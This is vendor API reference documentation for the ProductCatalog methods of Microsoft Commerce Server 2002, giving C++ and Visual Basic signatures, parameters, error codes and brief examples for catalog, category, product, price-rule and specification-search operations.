SetCustomCatalogAttributes | This method is obsolete.


IProductCatalog3::AddLanguage Method [C++]

ProductCatalog.AddLanguage Method [Visual Basic]

Use this method to add support for an additional language.

Definition

[C++]
HRESULT IProductCatalog3::AddLanguage(
  BSTR strLanguage
);
[Visual Basic]
Sub AddLanguage(
  strLanguage As String
)

Parameters

strLanguage [C++]
[in, optional, defaultvalue ("")] A BSTR that contains the culture name to be added. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLanguage [Visual Basic]
A String that that contains the culture name to be added. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_LANGUAGE | [C++] 0x8898009E [Visual Basic] &H8898009E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_LANGUAGE_ALREADY_EXISTS | [C++] 0x889800A0 [Visual Basic] &H889800A0 | The language you specified already exists in the catalog.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method adds the specified language to the list of languages supported by the catalog. It will use default values if default values are specified for the property and language.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.AddLanguage("FRA")

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::AddPriceRule Method [C++]

ProductCatalog.AddPriceRule Method [Visual Basic]

Use this method to add a price rule for a specific product or category to a virtual catalog. This method applies only to virtual catalogs.

Definition

[C++]
HRESULT IProductCatalog3::AddPriceRule(
  CatalogCustomPriceEnum eCustomPricingRule,
  double fpCustomPrice,
  VARIANT vrProductIDOrCategoryName,
  VARIANT vrVariantID,
  VARIANT_BOOL fCategory
);
[Visual Basic]
Sub AddPriceRule(
  eCustomPricingRule As CatalogCustomPriceEnum,
  fpCustomPrice As Double,
  vrProductIDOrCategoryName As Variant,
  Optional vrVariantID As Variant,
  Optional fCategory As Boolean
)

Parameters

eCustomPricingRule [C++]
[in] A CatalogCustomPriceEnum enumeration that specifies the type of pricing rule. See the Remarks section for valid values.
eCustomPricingRule [Visual Basic]
A CatalogCustomPriceEnum enumeration that specifies the type of pricing rule. See the Remarks section for valid values.
fpCustomPrice [C++]
[in] A double (8-byte floating point number) that contains the amount of the price adjustment.
fpCustomPrice [Visual Basic]
A Double that contains the amount of the price adjustment.
vrProductIDOrCategoryName [C++]
[in] A VARIANT that contains the product ID or category name to which the rule applies.
vrProductIDOrCategoryName [Visual Basic]
A Variant that contains the product ID or category name to which the rule applies.
vrVariantID [C++]
[in, optional] A VARIANT that contains the variant ID, if the rule is specific to a variant.
vrVariantID [Visual Basic]
A Variant that contains the variant ID, if the rule is specific to a variant.
fCategory [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product.
fCategory [Visual Basic]
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True indicates a category. A value of False indicates a product. The default value is False (0).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C++] 0x889800FA [Visual Basic] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VC_RULE_PARAM | [C++] 0x88980103 [Visual Basic] &H88980103 | The ProductID or CategoryName is invalid. The ProductID and CategoryName should be passed using the ProductID(CatalogName) or CategoryName(CatalogName) format.
E_CAT_VC_INVALID_ITEM | [C++] 0x889800FD [Visual Basic] &H889800FD | The specified product/category/variant could not be found in the base catalog.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the fCategory parameter is True and the vrProductIDOrCategoryName parameter is an empty string then the rule applies to the entire catalog.

Categories, products, and variant products specified in the parameters of this method must already be included in the virtual catalog.

The vrVariantID parameter is only valid for products. If it is supplied, it indicates that the rule should be applied for that variant only.

The following table shows the values of the CatalogCustomPriceEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscNoCustomPrice | 0 | The custom price is the same as the base price.
cscPercentageMultiplier | 1 | The custom price = base price + (base price * (pfpCustomPriceAmount /100)) pfpCustomPriceAmount can be positive or negative
cscAddFixedAmount | 2 | The custom price is the value in the parameter pfpCustomPriceAmount added to the base price.
cscReplacePrice | 3 | The custom price is the value in the parameter pfpCustomPriceAmount.
cscInvalidCustomPrice | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.AddPriceRule(eCustomPricingRule, fpCustomPrice, vrProductIDOrCategoryName, vrVariantID, fCategory)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::AddVirtualCatalogRule

[Visual Basic] ProductCatalog.AddVirtualCatalogRule


IProductCatalog3::AddSpecificationSearchClause Method [C++]

ProductCatalog.AddSpecificationSearchClause Method [Visual Basic]

Use this method to add constraints to a specification search of this catalog.

Definition

[C++]
HRESULT IProductCatalog3::AddSpecificationSearchClause(
 BSTR strClause,
 VARIANT* pstrSearchHandle
);
[Visual Basic]
Sub AddSpecificationSearchClause(
 strClause As String,
 pstrSearchHandle As Variant
)

Parameters

strClause [C++]
[in] A BSTR that contains the clause to be added to the specified specification search.
strClause [Visual Basic]
A String that contains the clause to be added to the specified specification search.
pstrSearchHandle [C++]
[in] A VARIANT that contains the state of the specification search to which the clause will be added.
[out] A VARIANT used to return the updated state of the specification search.
pstrSearchHandle [Visual Basic]
A Variant that contains the state of the specification search to which the clause will be added. This variant is also used to return the updated state of the specification search.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C++] 0x8898010D [Visual Basic] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2).

Remarks

[C++] Upon successful completion, the pstrSearchHandle parameter will contain the name of the updated specification search.

The specification clause contained in the strClause parameter will be appended to the existing clauses and sent to SQL Server without any changes when the specification search is performed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.AddSpecificationSearchClause strClause, pstrSearchHandle

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::BeginSpecificationSearch

[Visual Basic] ProductCatalog.BeginSpecificationSearch

[C++] IProductCatalog3::GetSpecificationSearchClauses

[Visual Basic] ProductCatalog.GetSpecificationSearchClauses

[C++] IProductCatalog3::PerformSpecificationSearch

[Visual Basic] ProductCatalog.PerformSpecificationSearch


IProductCatalog3::AddVirtualCatalogRule Method [C++]

ProductCatalog.AddVirtualCatalogRule Method [Visual Basic]

Use this method to add an inclusion or exclusion rule for a specific product, category, variant, or catalog to the current virtual catalog. This method applies only to virtual catalogs.

Definition

[C++]
HRESULT IProductCatalog3::AddVirtualCatalogRule(
  BSTR strCatalogName,
  VARIANT vrProductIDOrCategoryName,
  VARIANT vrVariantID,
  VARIANT_BOOL fCategory,
  VARIANT_BOOL fExclusion
);
[Visual Basic]
Sub AddVirtualCatalogRule(
  strCatalogName As String,
  vrProductIDOrCategoryName As Variant,
  Optional vrVariantID As Variant,
  Optional fCategory As Boolean,
  Optional fExclusion As Boolean
[in, optional] VARIANT vrVariantID, )

Parameters

strCatalogName [C++]
[in] A BSTR that contains the catalog name.
strCatalogName [Visual Basic]
A String that contains the catalog name.
vrProductIDOrCategoryName [C++]
[in] A VARIANT that contains the product ID or category name to which the rule applies.
vrProductIDOrCategoryName [Visual Basic]
A Variant that contains the product ID or category name to which the rule applies.
vrVariantID [C++]
[in, optional] A VARIANT that contains the variant ID to which the rule applies.
vrVariantID [Visual Basic]
A Variant that contains the variant ID to which the rule applies.
fCategory [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product.
fCategory [Visual Basic]
A Boolean that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).
fExclusion [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether this is an inclusion or exclusion rule. A value of True (-1) indicates an exclusion rule. A value of False (0) indicates an inclusion rule.
fExclusion [Visual Basic]
A Boolean that specifies whether this is an inclusion or exclusion rule. A value of True indicates an exclusion rule. A value of False indicates an inclusion rule. The default value is False.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C++] 0x889800FA [Visual Basic] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_ITEM | [C++] 0x889800FD [Visual Basic] &H889800FD | The specified product/category/variant could not be found in the base catalog.
E_CAT_VC_TOO_MANY_BASECATALOGS | [C++] 0x88980106 [Visual Basic] &H88980106 | The limit (84) on the maximum number of base catalogs that can be included in a virtual catalog has been exceeded.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the fCategory parameter is True and the vrProductIDOrCategoryName parameter is an empty string, then the entire catalog will be included.

Exclusion rules always override inclusion rules. If you exclude a category you cannot include any category or product contained within that category. Conversely, you can exclude any category or product contained within a category you have included.

If a value is provided for the vrVariantID parameter, then the rule will apply only to that variant of the product. If any variant of a product is included, then the product will be implicitly included. It is not possible to have variant without a parent product.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' You have a "Shoe" catalog.
' It contains "Mens","Womens", and "Kids" categories.
' Each category contains categories for dress, casual, and sports.
'   For example "Mens sports"

' The following rules result in including men's and women's categories
' with their dress and casual subcategories.
' This could also be done using inclusion rules only.

myVCatalog.AddVirtualCatalogRule("Shoe", "Mens",, True, False)
myVCatalog.AddVirtualCatalogRule("Shoe", "Womens",, True, False)
myVCatalog.AddVirtualCatalogRule("Shoe", "Mens sports",, True, True)
myVCatalog.AddVirtualCatalogRule("Shoe", "Womens sports",, True, True)

'The following rules result in including the full "Mens" and "Womens" categories by including the catalog and excluding the "Kids" category.

myVCatalog.AddVirtualCatalogRule("Shoe", "",, True, False)
myVCatalog.AddVirtualCatalogRule("Shoe", "Kids",, True, True)

' If you then tried to include the Kids dress category as in:
'   AddVirtualCatalogRule("Shoe", "Kids dress",, True, False)
'   the method would return an error.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::BeginSpecificationSearch Method [C++]

ProductCatalog.BeginSpecificationSearch Method [Visual Basic]

Use this method to initialize a specification search of a catalog.

Definition

[C++]
HRESULT IProductCatalog3::BeginSpecificationSearch(
  BSTR strCategoryName,
  VARIANT* pRSInitialPropValuesList,
  VARIANT* plTotalRecordsAvailable,
  BSTR* pstrSearchHandle
);
[Visual Basic]
Function BeginSpecificationSearch(
  strCategoryName As String,
  Optional pRSInitialPropValuesList As Variant,
  Optional plTotalRecordsAvailable As Variant
) As String

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category in which to search.
strCategoryName [Visual Basic]
A String that contains the name of the category in which to search.
pRSInitialPropValuesList [C++]
[out, optional] A pointer to a VARIANT used to return the recordset of initial property values.
pRSInitialPropValuesList [Visual Basic]
A Variant used to return the recordset of initial property values.
plTotalRecordsAvailable [C++]
[out, optional] A pointer to a VARIANT used to return the total records available.
plTotalRecordsAvailable [Visual Basic]
A Variant used to return the total records available.
pstrSearchHandle [C++]
[out, retval] A BSTR used to return the state of the specification search.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the state of this specification search.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid.
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011D [Visual Basic] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_NOT_EXISTS_NOT_SEARCHABLE | [C++] 0x88980049 [Visual Basic] &H88980049 | The category you specified does not exists or is not marked as Specification searchable.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pRSInitialPropValuesList and pstrSearchHandle parameters contain valid data only if the method was accessed successfully.

The optional parameter pRSInitialPropValuesList is a single row recordset. The returned recordset contains one field for each searchable property for the products under the specified category. Each field contains a SAFEARRAY. Each SAFEARRAY contains a set of all the distinct values found in all the products under that category. Only the properties that are marked as searchable are returned in the recordset.

If all the searchable properties contain NULL values then the pRSInitialPropValuesList parameter will be set to NULL and the plTotalRecordsAvailable parameter will be zero (0).

A category can be marked as searchable by setting the IsSearchable property to True.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'
strSearchHandle = myProductCatalog.BeginSpecificationSearch(strCategoryName, pRSInitialPropValuesList)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::AddSpecificationSearchClause

[Visual Basic] ProductCatalog.AddSpecificationSearchClause

[C++] IProductCatalog3::GetSpecificationSearchClauses

[Visual Basic] ProductCatalog.GetSpecificationSearchClauses

[C++] IProductCatalog3::PerformSpecificationSearch

[Visual Basic] ProductCatalog.PerformSpecificationSearch


IProductCatalog3::CreateCategory Method [C++]

ProductCatalog.CreateCategory Method [Visual Basic]

Use this method to create a new category.

Definition

[C++]
HRESULT IProductCatalog3::CreateCategory(
 BSTR strDefinitionName,
 BSTR strCategoryName,
 VARIANT strParentCategoryName,
 VARIANT fIsSpecificationSearchable,
 ICategory3** ppCategory
);
[Visual Basic]
Function CreateCategory(
 strDefinitioName As String,
 strCategoryName As String,
 Optional strParentCategoryName As Variant,
 Optional fIsSpecificationSearchable As Variant
) As Category

Parameters

strDefinitioName [C++]
[in] A BSTR that contains the name of the category definition on which the category is based.
strDefinitioName [Visual Basic]
A String that contains the name of the category definition on which the category is based.
strCategoryName [C++]
[in] A BSTR that contains the name of the category to be created.
strCategoryName [Visual Basic]
A String that contains the name of the category to be created.
strParentCategoryName [C++]
[in, optional] A VARIANT that contains the name of the category that will be a parent to this new category, if any.
strParentCategoryName [Visual Basic]
A Variant that contains the name of the category that will be a parent to this new category, if any.
IsSpecificationSearchable [C++]
[in, optional] A VARIANT that determines whether or not this category is to be specification searchable.
fIsSpecificationSearchable [Visual Basic]
A Variant that determines whether or not this category is to be specification searchable.
ppCategory [C++]
[out, retval] A pointer to a Category object used to return the newly created category.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the newly created Category object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid..
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800EA [Visual Basic] &H889800EA | The definition name that you specified is invalid. definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000B [Visual Basic] &H8898000B | The definition you specified does not exist.
E_CAT_PRODUCT_DEFN_FOR_CATEGORY | [C++] 0x8898004B [Visual Basic] &H8898004B | The definition name that you specified is a product definition. This definition cannot be used to create the category.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &H8898001C | The category you specified doesn't exist.
E_CAT_CATEGORY_EXISTS | [C++] 0x8898001D [Visual Basic] &H8898001D | The category you specified already exists.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppCategory parameter contains valid data only if the method was accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET oMyCategory = myProductCatalog.CreateCategory("BasicCategoryDefinition", "T-Shirts", "Apparel", TRUE)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::GetCategory

[Visual Basic] ProductCatalog.GetCategory

[C++] IProductCatalog3::DeleteCategory

[Visual Basic] ProductCatalog.DeleteCategory


IProductCatalog3::CreateCustomCatalog Method [C++]

ProductCatalog.CreateCustomCatalog Method [Visual Basic]

The CreateCustomCatalog method is obsolete in Microsoft Commerce Server 2002. It will always return the following error:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C++] 0x889800BD [Visual Basic] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::DeleteCustomCatalog

[Visual Basic] ProductCatalog.DeleteCustomCatalog

[C++] IProductCatalog3::GenerateCustomCatalog

[Visual Basic] ProductCatalog.GenerateCustomCatalog

[C++] IProductCatalog3::SetCategoryCustomPrice

[Visual Basic] ProductCatalog.SetCategoryCustomPrice


IProductCatalog3::CreateProduct Method [C++]

ProductCatalog.CreateProduct Method [Visual Basic]

Use this method to create a new product within the catalog according to the specified parameters. This method cannot be used with virtual catalogs.

Definition

[C++]
HRESULT IProductCatalog3::CreateProduct(
 BSTR strDefinitionName,
 VARIANT varProductID,
 CURRENCY cyListPrice,
 VARIANT strParentCategoryName,
 IProduct3** ppProduct
);
[Visual Basic]
Function CreateProduct(
 strDefinitionName As String,
 varProductID As Variant,
 cyListPrice As Currency,
 Optional strParentCategoryName As Variant
) As Product

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the product definition for the product.
strDefinitionName [Visual Basic]
A String that contains the name of the product definition for the product.
varProductID [C++]
[in] A VARIANT that contains the unique product ID for the product to be created. The data type must match the property used to uniquely identify products in this catalog.
varProductID [Visual Basic]
A Variant that contains the unique product ID for the product to be created. The data type must match the property used to uniquely identify products in this catalog.
cyListPrice [C++]
[in] A CURRENCY object that contains the list price of the product to be created.
cyListPrice [Visual Basic]
A Currency object that contains the list price of the product to be created.
strParentCategoryName [C++]
[in, optional] A VARIANT that contains the name of the category to be designated as the parent category of the product to be created.
strParentCategoryName [Visual Basic]
A Variant that contains the name of the category to be designated as the parent category of the product to be created.
ppProduct [C++]
[out, retval] A pointer to a Product object used to return the properties of the newly created product.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the Product object that was created.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C++] 0x889800F9 [Visual Basic] &Hx889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid..
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800EA [Visual Basic] &Hx889800EA | The definition name that you specified is invalid. definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PRODUCTID | [C++] 0x8898005B [Visual Basic] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C++] 0x8898004E [Visual Basic] &Hx8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &Hx889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_CATEG_LENGTH | [C++] 0x88980047 [Visual Basic] &Hx88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_DEFINITION_DOESNT_EXIST | [C++] 0x8898000B [Visual Basic] &H8898000B | The definition you specified does not exist.
E_CAT_CATEGORY_DEFN_FOR_PRODUCT | [C++] 0x8898004A [Visual Basic] &H8898004A | The definition name that you specified is a category definition. This definition cannot be used to create the product.
E_CAT_INVALID_PRODUCT_DEFINITION | [C++] 0x8898005F [Visual Basic] &Hx8898005F | The product definition you specified contains a variant property that is being used as the ProductID for this catalog.
E_CAT_PRODUCT_EXISTS | [C++] 0x8898001B [Visual Basic] &Hx8898001B | The product you specified already exists.
E_CAT_CATEGORY_DOESNT_EXIST | [C++] 0x8898001C [Visual Basic] &Hx8898001C | The category you specified does not exist.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C++] 0x88980101 [Visual Basic] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppProduct parameter contains valid data only if the method was accessed successfully.

A product family is a product that has variants.

The properties of the definition on which a new product is based will determine whether the product being created is a single product or a product family. If the definition used to create the product has variant properties, the newly created product will be a product family.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

SET oMyNewProduct = myProductCatalog.CreateProduct("BasicProduct", "SKU3004", cyListPrice, "Apparel")

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::DeleteProduct

[Visual Basic] ProductCatalog.DeleteProduct

[C++] IProductCatalog3::GetProduct

[Visual Basic] ProductCatalog.GetProduct


IProductCatalog3::DeleteCategory Method [C++]

ProductCatalog.DeleteCategory Method [Visual Basic]

Use this method to delete a category from the Product Catalog System.

Definition

[C++]
HRESULT IProductCatalog3::DeleteCategory(
 BSTR strCategoryName
);
[Visual Basic]
Sub DeleteCategory(
 strCategoryName As String
)

Parameters

strCategoryName [C++]
[in] A BSTR that contains the name of the category to be deleted.
strCategoryName [Visual Basic]
A String that contains the name of the category to be deleted.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
